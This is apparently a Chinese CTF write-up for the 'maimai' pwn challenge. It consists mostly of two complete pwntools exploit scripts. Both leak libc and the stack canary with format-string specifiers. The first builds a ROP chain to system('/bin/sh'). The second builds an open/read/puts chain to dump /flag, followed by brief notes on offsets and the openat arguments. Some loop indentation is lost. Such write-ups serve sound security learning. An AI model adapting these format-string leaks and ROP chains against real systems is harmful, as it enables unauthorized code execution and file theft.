查看保护
查看ida
根据官方的wp的意思解法应该像这样
完整exp(远程打不通):
from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)
p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):
p.sendline(b'14')
p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
payload=b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)
p.interactive()
但是getshell之后根本没权限打开flag,所以只能考虑用orw直接读文件
完整exp:
from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)
p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):
p.sendline(b'14')
p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx_r12=libcbase+0x11f2e7
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
reads=libcbase+libc.sym['read']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p%8$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
p.recvuntil(b'0x')
onestack=int((b'0x'+p.recv(12)),16)
print(hex(onestack))
payload=b'/flag\x00'
payload=payload.ljust(0x28,b'a')
payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)
print(len(payload))
openat=libcbase+libc.sym['openat']
puts=libcbase+libc.sym['puts']
payload=p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0)*2+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
payload+=p64(pop_rdi)+p64(onestack-0x70)+p64(puts)
p.sendline(payload)
p.interactive()
#补充点1:
payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
这里的的onestack+0x8是为了在之前构造的ROP链里接上新输入的ROP链
#补充点2:0x80的大小不足以读文件,所以要再次构建read函数,设置大的输入字节
#补充点3:openat函数必须要填入三个参数,
- 第一个参数:文件描述符,用于指定路径解析的起点。
- 第二个参数:文件路径名,要打开的文件的路径。
- 第三个参数:标志位,用于指定文件的打开方式和权限等信息。
这里文件描述符设置为0是表示在当前目录解析路径,标志位设置为0是用默认方式打开文件